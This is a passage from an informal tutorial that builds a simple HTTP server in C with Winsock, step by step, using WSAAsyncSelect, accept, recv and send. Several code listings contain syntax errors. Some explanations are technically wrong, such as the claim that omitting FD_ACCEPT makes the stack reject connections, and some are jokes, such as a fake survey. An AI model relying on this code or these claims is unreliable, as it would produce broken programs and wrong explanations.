long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if(x= =WM_USER+1)
{
MessageBox(0,"Hi","You are now connected.", 0);
}
if(x= =WM_LBUTTONDOWN)
{
d=WSAStartup(0x101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",d);
abc(aa);
s=socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
A.sin_family=AF_INET;
A.sin_port=htons(80);
A.sin_addr.s_addr= INADDR_ANY;
d=bind(s,(struct sockaddr*)&A,sizeof(A));
sprintf(aa,"BIND = %ld\n",d);
abc(aa);
WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
MessageBox(0,"first Message","first Box",0);
}
if (x= = WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
In the previous program we had explained the use of
" WM_USER+1 ". In this program we have used it in an if condition
to see if we have actually explained it to you correctly. We shall know when
our server gets called because of the nice little MessageBox we have put in the
if condition. So now whenever a client connects on to our server, the TCP/IP
stack sends our application a WM_USER+1. Our callback function zzz() will
now be called and asked as to what should be done with the incoming connection.
Execute this program and click on the window to activate
your server. Well, you are in for a disappointment. You will not be able to see
the MessageBox which you are eagerly waiting to see. Do not suspect us of
leading you astray. So far, using the function bind(), we have merely told
the TCP/IP stack that the server is bound to port 80, we have also told it that
any packet for this port and IP address is to be sent to us. But in the
function bind() , we had not mentioned as to when the packet is to be sent.
The TCP/IP stack is very particular as to when it will send us the incomming
packet. It sends the packet only if there is sees a listen() function. This
function ensures that our server will listen on the port for any messages which
the TCP IP stack sends. So far, the TCP/IP stack hadnt been able to send us
anything as our server was not listening on the port viz. 80. Hence the if
condition of WM_USER+1 is not satisfied and so there is no change in the
"bbb.txt" file which will show the following output.
WSASTARTUP = 0
SOCKET = 3
BIND = 0
Lets make the server listen on the port i.e. port 80.
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
void abc(char *p)
{
FILE *fp=fopen("c:\\bbb.txt","a+");
fprintf(fp,"%s",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if(x= =WM_USER+1)
{
MessageBox(0,"Hi","You are now connected.", 0);
}
if(x= =WM_LBUTTONDOWN)
{
d=WSAStartup(0x101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",d);
abc(aa);
s=socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
A.sin_family=AF_INET;
A.sin_port=htons(80);
A.sin_addr.s_addr= INADDR_ANY;
d=bind(s,(struct sockaddr*)&A,sizeof(A));
sprintf(aa,"BIND = %ld\n",d);
abc(aa);
WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
d=listen(s,100);
sprintf(aa,"LISTEN = %ld\n",d);
abc(aa);
MessageBox(0,"first Message","first Box",0);
}
if (x= = WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
In this program we are asking the server to listen on a
specific port through the function listen() . This function is passed two
parameters. The first parameter is the global SOCKET s which has
information about the port number, the protocols, and the IP address of the
server. The second parameter is a number 100 .
For using this number 100 as our parameter, we had
conducted a survey where we had asked the first one hundred people we met,
their favourite number. On reviewing our data we found that 38.5% of the people
had said 100 . We then decided to take a chance and used this number 100
as our second parameter. Incidentally, we later came to know that the day we
had conducted our survey, was the day when Sachin Tendulkar hit his 14th Test
Century. Now by giving this reason we are inferring that we have used a number
100 , you are free to use any number you may be wanting to use.
Now run this program. What do you see? Yahoo! We did it.
You finally are able to see the MessageBox which you had been desperate to see.
So, you should now be satisfied. But hold on. Dont count your chickens too
soon. Just ask the person who connected to your server through his Browser, you
will know that though you got the MessageBox with the message "You are now
Connected", our server is not yet complete. You will find that the Browser
is still waiting for a reply from us. For this purpose we first have to accept
the connection from the client. Before continuing with our program, check out
the text file " bbb.txt ". The output will be as shown below.
WSASTARTUP = 0
SOCKET = 3
BIND = 0
LISTEN = 0
Lets now proceed to try and make our program accept a
connection from an incoming client. Change our program as under.
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
void abc(char *p)
{
FILE *fp=fopen("c:\\bbb.txt","a+");
fprintf(fp,"%s",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if(x= =WM_USER+1)
{
d=sizeof(A1);
s1 = accept(s,(struct sockaddr *)&A1,&d);
MessageBox(0,"Hi","You are now connected.", 0);
}
if(x= =WM_LBUTTONDOWN)
{
d=WSAStartup(0x101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",d);
abc(aa);
s=socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
A.sin_family=AF_INET;
A.sin_port=htons(80);
A.sin_addr.s_addr= INADDR_ANY;
d=bind(s,(struct sockaddr*)&A,sizeof(A));
sprintf(aa,"BIND = %ld\n",d);
abc(aa);
WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
d=listen(s,100);
sprintf(aa,"LISTEN = %ld\n",d);
abc(aa);
MessageBox(0,"first Message","first Box",0);
}
if (x= = WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
In this program we have created another variable s1
which looks like our friend, the Macro SOCKET . This variable s1 is
initialised to the return value of the function accept() . We have also
created another structure " A1 " which looks like the structure
sockaddr_in . In our if condition for WM_USER+1 , we are using the
accept() function, to say that our server is now ready to accept connections
from any client. This accept() function, has to be passed three parameters.
The first parameter to be passed is the socket which knows the protocol and the
port number to which the server is bound. This, in our program, is stored in
the global variable s which looks like SOCKET . The second parameter to
be passed is the address of the structure A1 which looks like the structure
tag sockaddr_in - we cannot make use of the other structure A because we
have already initialised some of it's variables. We have to store the incoming
clients IP address, it's port number, etc. To store the address, port no, etc.
we have to use a new structure with none of it's variables initialised. We have
initialised the variable d to the size of the structure A1. The last
parameter is the address of this variable d .
Let us try to understand why we had to create another
variable viz. s1. The variable s1 is initialised to the return value of
the function accept() . The socket s1 will now have the IP address and
port number of the client who is connecting to our server. Because of this, we
had to initialise another variable which looks like the Macro SOCKET . If we
had used our earlier SOCKET s , it would have been reinitialised. Now on
executing this program and getting a client to connect to our server, what do
you see? Your MessageBox is now getting called called twice. This shows that
your if condition of WM_USER+1 is getting called twice. But there is no other
change in the program . The output in file "bbb.txt" will look as
under.
WSASTARTUP = 0
SOCKET = 3
BIND = 0
LISTEN = 0
Well friends, would you be interested in finding out the
IP address of the machine that is connecting to your server? We know that the
IP address is stored in the member sin_addr.s_addr of the structure A1
which looks like sockaddr_in. This member is actually a union . Do you
remember what a union is? Something we had done in C under DOS. This
union is made up of two structures and a long . The IP address of the
incomming connection is stored in this long number. So now if we have a union
with two members, one a structure with four chars , and the other a
long , we can also know the IP address of the connecting client in the Dotted
Decimal Notation. For this purpose we have to change the code of the program in
the following manner.
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
struct aax
{
char aaa;
char aab;
char aac;
char aad;
};
union
{
struct aax ah;
long bh;
}v;
void abc(char *p)
{
FILE *fp=fopen("c:\\b.txt","a+");
fprintf(fp,"%s",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if(x==WM_USER+1)
{
d=sizeof(A1);
s1 = accept(s,(struct sockaddr *)&A1,&d);
v.bh = A1.sin_addr.s_addr;
sprintf(aa,"Client's IP Address = %d.%d.%d.%d\n", v.ah.aaa, v.ah.aab,
v.ah.aac, v.ah.aad);
abc(aa);
MessageBox(0,"Hi","You are now connected.", 0);
}
if(x==WM_LBUTTONDOWN)
{
d=WSAStartup(0x101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",d);
abc(aa);
s=socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
A.sin_family=AF_INET;
A.sin_port=htons(80);
A.sin_addr.s_addr= INADDR_ANY;
d=bind(s,(struct sockaddr*)&A,sizeof(A));
sprintf(aa,"BIND = %ld\n",d);
abc(aa);
WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
MessageBox(0,"first Message","first Box",0);
d=listen(s,100);
sprintf(aa,"LISTEN = %ld\n",d);
abc(aa);
}
if (x== WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
In this program we have created a structure aax having
four chars . We also have a union with a long and the structure aax
. We know that a long takes four bytes of memory on the stack. In this
program the structure aax also takes four bytes of memory on stack as it
has four chars as it's members. We also know that a union takes the memory
of the largest of it's members and uses the same memory for all it's other
members.
In this program we have a union with a long which
takes four bytes and also a structure which uses the same four bytes of
memory. We know that an IP address is a long number so we are capturing this
number in a long. After this long number gets stored in memory , we then use
the four chars of the structure aax , to read the four bytes from
memory, one at a time and store it into the file "bbb.txt". We thus
get the IP address of the client in the Dotted Decimal Notation. For the sake
of confirmation, let's check out the file "bbb.txt" which will now
look as under.
WSASTARTUP = 0
SOCKET = 3
BIND = 0
LISTEN = 0
Client's IP Address = 70.0.0.8
Client's IP Address = 70.0.0.8
We know that WM_USER+1 is called twice, so we get the IP
address of the client twice and we have used the sprintf() function in such
a way that we get the IP address in the Dotted Decimal Notation. Friends, so
far we have been acting selfish. We have only allowed a client to connect to
our server. We are however not fulfilling his request for a file from our
server. For that matter, we are not even reading his request.
Let's change our program as below and have a look at the
output.
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
void abc(char *p)
{
FILE *fp=fopen("c:\\bbb.txt","a+");
fprintf(fp,"%s",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if(x= =WM_USER+1)
{
d=sizeof(A1);
s1 = accept(s,(struct sockaddr *)&A1,&d);
sprintf(aa,"LOWORD(z) = %ld, HIWORD(z) = %ld,
FD_ACCEPT = ld, FD_READ = %ld\n", LOWORD(z),
HIWORD(z), FD_ACCEPT, FD_READ);
abc(aa);
MessageBox(0,aa,aa,0);
}
if(x= =WM_LBUTTONDOWN)
{
d=WSAStartup(0x101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",d);
abc(aa);
s=socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
A.sin_family=AF_INET;
A.sin_port=htons(80);
A.sin_addr.s_addr= INADDR_ANY;
d=bind(s,(struct sockaddr*)&A,sizeof(A));
sprintf(aa,"BIND = %ld\n",d);
abc(aa);
WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
d=listen(s,100);
sprintf(aa,"LISTEN = %ld\n",d);
abc(aa);
MessageBox(0,"first Message","first Box",0);
}
if (x= = WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
So far, we have used the Macros FD_ACCEPT and FD_READ as
part of the syntax without trying to understand what they are used for. In this
program we are using the if condition of WM_USER+1 to find the value of
LOWORD(z), HIWORD(z), FD_ACCEPT and FD_READ.
Now you run this program. What do you see? You now see
the two MessageBoxes. If you were a bit observant, you would have noticed that
the value of LOWORD(z) in the MessageBox changes, each time WM_USER+1
gets called. The importance of these changes are explained below. But before
continuing with our program check out the text file "bbb.txt". The
output will be as shown below.
WSASTARTUP = 0
SOCKET = 3
BIND = 0
LISTEN = 0
LOWORD(z) =8,HIWORD(z) =0,FD_ACCEPT =8,FD_READ =1
LOWORD(z) =1,HIWORD(z) =0,FD_ACCEPT =8,FD_READ =1
Looking at this output, you will be assured that the code
in the if condition WM_USER+1 does get called twice. You also see that
on both the occasions, the value of LOWORD(z) changes. The first time the
value LOWORD(z) is 8 and the next time around it is 1 . You will
also notice that the values of FD_ACCEPT and FD_READ are 8 and 1
respectively (If you are insane or brave enough like us, you can explore the
<winsock.h> header file. You will find that these #defined Macros are
allotted values 8 and 1 respectively). This shows that the first time
the variable LOWORD(z) takes the value of the FD_ACCEPT Macro and the
next time around, it takes the value of FD_READ . This shows that
FD_ACCEPT is called first and only afterwards does FD_READ gets called.
We now know that our WM_USER+1 gets called twice. We also know that when
WM_USER+1 gets called the first time, it calls FD_ACCEPT and the next
time around it calls FD_READ . So we can now have two more if conditions
in our WM_USER+1 condition. The first can be used to accept the incoming
connection while the second can be used to do something else. So lets see how
we can exploit these if conditions in our next program.
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
void abc(char *p)
{
FILE *fp=fopen("c:\\bbb.txt","a+");
fprintf(fp,"%s",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if(x= =WM_USER+1)
{
if ( LOWORD(z) = = FD_ACCEPT)
{
d=sizeof(A1);
s1 = accept(s,(struct sockaddr *)&A1,&d);
sprintf(aa,"FD_ACCEPT");
abc(aa);
MessageBox(0,"Hello","You are in FD_ACCEPT",0);
}
if( LOWORD(z) = = FD_READ)
{
sprintf(aa,"FD_READ");
abc(aa);
MessageBox(0,"Hi","You are now in FD_READ",0);
}
}
if(x = =WM_LBUTTONDOWN)
{
d=WSAStartup(0x101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",d);
abc(aa);
s=socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
A.sin_family=AF_INET;
A.sin_port=htons(80);
A.sin_addr.s_addr= INADDR_ANY;
d=bind(s,(struct sockaddr*)&A,sizeof(A));
sprintf(aa,"BIND = %ld\n",d);
abc(aa);
WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
d=listen(s,100);
sprintf(aa,"LISTEN = %ld\n",d);
abc(aa);
MessageBox(0,"first Message","first Box",0);
}
if (x = = WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
In this program we have removed the " sprintf()
" functions we had used for finding the values of z as well as FD_ACCEPT
and FD_READ . Instead, we have nested two if conditions inside the
if condition of WM_USER+1 . The first if condition is for FD_ACCEPT
while the other is for FD_READ . To assure ourselves, we have put in a
sprintf() function in both the if conditions to find out which condition
gets called first.
We have put the function accept() in FD_ACCEPT as
we know that it is called the first time WM_USER+1 message is sent to our
application by the TCP/IP stack. On executing the program, you will find that
both the MessageBoxes get called one after the other. You will also notice that
the FD_ACCEPT MessageBox gets called first and then FD_READ . This can
be reconfirmed after you take a look at the output in the "bbb.txt"
file. The text file will be as under.
WSASTARTUP = 0
SOCKET = 3
BIND = 0
LISTEN = 0
FD_ACCEPT
FD_READ
Here if you want to do some R & D, you can replace
FD_ACCEPT and FD_READ , in the if conditions inside WM_USER+1 ,
with their values i.e. 8 and 1 respectively. You will see that the
program works equally well if you use the numbers in the respective if
conditions.
Let's remove FD_ACCEPT from WSAsyncSelect() and
learn it's importance to this program.
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
void abc(char *p)
{
FILE *fp=fopen("c:\\bbb.txt","a+");
fprintf(fp,"%s",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if(x= =WM_USER+1)
{
if ( LOWORD(z) = = FD_ACCEPT)
{
d=sizeof(A1);
s1 = accept(s,(struct sockaddr *)&A1,&d);
MessageBox(0,"Hello","You are in FD_ACCEPT",0);
}
if( LOWORD(z) = = FD_READ)
{
MessageBox(0,"Hi","You are now in FD_READ",0);
}
}
if(x= =WM_LBUTTONDOWN)
{
d=WSAStartup(0x101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",d);
abc(aa);
s=socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
A.sin_family=AF_INET;
A.sin_port=htons(80);
A.sin_addr.s_addr= INADDR_ANY;
d=bind(s,(struct sockaddr*)&A,sizeof(A));
sprintf(aa,"BIND = %ld\n",d);
abc(aa);
WSAAsyncSelect(s,b,WM_USER+1, FD_READ);
d=listen(s,100);
sprintf(aa,"LISTEN = %ld\n",d);
abc(aa);
MessageBox(0,"first Message","first Box",0);
}
if (x= = WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
On compiling this program you will not get any errors. So
far, so good. When you execute the program, you are in for a disappointment.
You will not be able to see any of the MessageBoxes present in WM_USER+1 .
Ask the person who connected to your server and you will find out that he is
now unable to connect to your server. Now what does this prove? This shows that
the parameter FD_ACCEPT is important and we cannot remove it from the
program. This parameter FD_ACCEPT is the one that decides whether the
connection is to be accepted or rejected. If this parameter is present in the
function WSAAsyncSelect() , the TCP IP stack has to send a ' Syn Ack ' to
the client. Without FD_ACCEPT, the TCP/IP stack will reject the connection
outright. Now checking out "bbb.txt" we see the following output.
WSASTARTUP = 0
SOCKET = 3
BIND = 0
LISTEN = 0
Now instead of removing FD_ACCEPT from the program, let's
try removing FD_READ and see the result.
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
void abc(char *p)
{
FILE *fp=fopen("c:\\bbb.txt","a+");
fprintf(fp,"%s",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if(x= =WM_USER+1)
{
if ( LOWORD(z) = = FD_ACCEPT)
{
d=sizeof(A1);
s1 = accept(s,(struct sockaddr *)&A1,&d);
MessageBox(0,"Hello","You are in FD_ACCEPT",0);
}
if( LOWORD(z) = = FD_READ)
{
MessageBox(0,"Hi","You are now in FD_READ",0);
}
}
if(x = =WM_LBUTTONDOWN)
{
d=WSAStartup(0x101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",d);
abc(aa);
s=socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
A.sin_family=AF_INET;
A.sin_port=htons(80);
A.sin_addr.s_addr= INADDR_ANY;
d=bind(s,(struct sockaddr*)&A,sizeof(A));
sprintf(aa,"BIND = %ld\n",d);
abc(aa);
WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|);
d=listen(s,100);
sprintf(aa,"LISTEN = %ld\n",d);
abc(aa);
MessageBox(0,"first Message","first Box",0);
}
if (x = = WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
The person who connects to your server can see only one
MessageBox on the screen, that of FD_ACCEPT . You will find out that the
client can now connect to your server but the server will not read his request.
This shows that the program works without FD_READ . The output in the
"bbb.txt" file will now be as under.
WSASTARTUP = 0
SOCKET = 3
BIND = 0
LISTEN = 0
Have you spared a thought as to what should be done when
you have to read the request sent by the connecting client to our server. Bet
you didnt. In actual practice both these Macros i.e. FD_ACCEPT and FD_READ are
equally important. Without FD_ACCEPT the server will not know whether the
incomming connection is to be accepted or rejected. The FD_READ is used to read
the request sent by a client and satisfy the request by sending him the
required file.
So far we have allowed clients to connect to our server,
but were unable to handle any request sent by them. Before we attend to their
request, we have to receive the request in our FD_READ. To handle the clients
request, we can call upon the services of the recv() function. When you say
FD_READ it means that the TCP/IP stack has some data for the sever. You have to
understand that the function recv() is still blocking, but as the TCP/IP
stack calls the function recv() only when there is data because of the
function WSAAsyncSelect() , the application comes out of the function
recv() immediately.
In the next program we shall see how we can receive the
requests from these incoming connections.
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
char bb[2000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
void abc(char *p)
{
FILE *fp=fopen("c:\\bbb.txt","a+");
fprintf(fp,"%s",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if(x==WM_USER+1)
{
if ( LOWORD(z) == 8)
{
d=sizeof(A1);
s1 = accept(s,(struct sockaddr *)&A1,&d);
MessageBox(0,"Hello","You are in FD_ACCEPT",0);
}
if( LOWORD(z) == 1)
{
d = recv(s1,bb,2000,0);
sprintf(aa,"recv = %ld\n",d);
abc(bb);
MessageBox(0,"Hi","You are now in FD_READ",0);
}
}
if(x==WM_LBUTTONDOWN)
{
d=WSAStartup(0x101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",d);
abc(aa);
s=socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
A.sin_family=AF_INET;
A.sin_port=htons(80);
A.sin_addr.s_addr= INADDR_ANY;
d=bind(s,(struct sockaddr*)&A,sizeof(A));
sprintf(aa,"BIND = %ld\n",d);
abc(aa);
WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
d=listen(s,100);
sprintf(aa,"LISTEN = %ld\n",d);
abc(aa);
MessageBox(0,"first Message","first Box",0);
}
if (x== WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
The first thing to notice in this program, is the use of
the numbers 8 and 1 in place of FD_ACCEPT and FD_READ in the
if condition of WM_USER+1 . This is to show you that you can even use the
numbers which FD_ACCEPT and FD_READ represent in the if condition.
In this program you first have a recv() function,
where you will receive the request header from the client i.e. the request for
the file, which the client wants. The function recv() is passed four parameters.
The first parameter, is the socket which is used in accepting the incoming
connection from the client, which in our case is s1 . The second parameter
is an array, where we store the incoming requests of the client. The third
parameter is the size of the array, i.e. to specify how many bytes of request
is to be received from the client. The fourth parameter is 0 . This
parameter is very meaningful. It is used to show the knowledge you will have if
you do not follow our programs meticulously and in a correct manner.
The function recv() reads the incomming packet ,
strips the header and if there is any data present i.e. request, it would store
the data in the array bb . This can be seen in the output in the file
"bbb.txt" which is as shown below.
WSASTARTUP = 0
SOCKET = 3
BIND = 0
LISTEN = 0
GET / HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/3.0 (Win95; I)
Host: 70.0.0.7
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
These are the headers which Netscape gives us. If it was
the Internet Explorer it would also have given us more or less the same request
headers. Now that we have received the request header from the client, it is
only ethical that we respond to this request. We can sed them the required file
with the use of the function send() . How this is done can be seen in the
next program.
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
char bb[2000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
void abc(char *p)
{
FILE *fp=fopen("c:\\b.txt","a+");
fprintf(fp,"%s",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if(x==WM_USER+1)
{
if ( LOWORD(z) == 8)
{
d=sizeof(A1);
s1 = accept(s,(struct sockaddr *)&A1,&d);
MessageBox(0,"Hello","You are in FD_ACCEPT",0);
}
if( LOWORD(z) == 1)
{
d = recv(s1,bb,2000,0);
sprintf(aa,"recv = %ld\n",d);
abc(bb);
strcpy(aa,"HTTP/1.0 200 OK\r\n");
strcat(aa,"Content-length:20\r\n\r\n");
strcat(aa,"<html>Hello<hr><hr>Hi" );
d=send(y,aa,strlen(aa),0);
sprintf(aa,"send = %ld",d);
abc(aa);
MessageBox(0,"Hi","You are now in FD_READ",0);
}
}
if(x==WM_LBUTTONDOWN)
{
d=WSAStartup(0x101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",d);
abc(aa);
s=socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
A.sin_family=AF_INET;
A.sin_port=htons(80);
A.sin_addr.s_addr= INADDR_ANY;
d=bind(s,(struct sockaddr*)&A,sizeof(A));
sprintf(aa,"BIND = %ld\n",d);
abc(aa);
WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
MessageBox(0,"first Message","first Box",0);
d=listen(s,100);
sprintf(aa,"LISTEN = %ld\n",d);
abc(aa);
}
if (x== WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
We store all the contents that have to be sent to the
client, in the array aa with the help of strcpy() and strcat()
functions. We have to use the send() function to send our response to the
client, which we had stored in this array. This send() function is passed
four parameters. The first parameter to be passed is the socket which accepted
the incoming connection. The socket we had used was s1, but then, this
information is also present in y , which is the third parameter of the
function zzz() . We used y here, just to show you that even y stores
the IP address and port number of the client. It will work equally well if you
use s1 . The second parameter of send() is the array where we have
stored the response we want to send to the client. The third specifies the size
of the array we want to send, while the last parameter is 0 . Till now we
have told you time and again, dont ask us what the value 0 represents as
we shall not explain it.
Run this program and ask your friend to connect to your
server. You will now see that your job is done. The client which connected,
will now receive our default file as shown under.
Hello
Hi
Let's understand what we have sent to the client in our
send() function. The first line "HTTP/1.0 200 OK\r\n" is an
important part of our response header. It tells the client that the file
requested for has been recognised. Now if you do not have this line as part of
your header, you will find that the entire contents of the array is sent
across, but the client would still be waiting for the default file. Hence this
statement is important to our response.
The next line "Content-length:20\r\n\r\n" is
important, as it tells the client how big the file which is going to be
transferred, will be. It also specifies that the response header part is over
and the part following is the actual file. Here if you use a larger than
required content length, then you will see that the client - who connects to
your sever, will wait on stop. That is the stop button of the Netscape is still
on and he will wait till he receives the whole content length. This will create
problems. So you have to use the exact length of your header. If you dont want
to spend the rest of your life just counting the bytes of your file, you can do
one of the three following things. Firstly you can copy the contents of the
file - you want to send - into an array and find out it's length. Secondly you
can specify a length which is smaller than your file. For example, in our
program if we had typed the "Content-Length:15 \r\n\r\n" you would
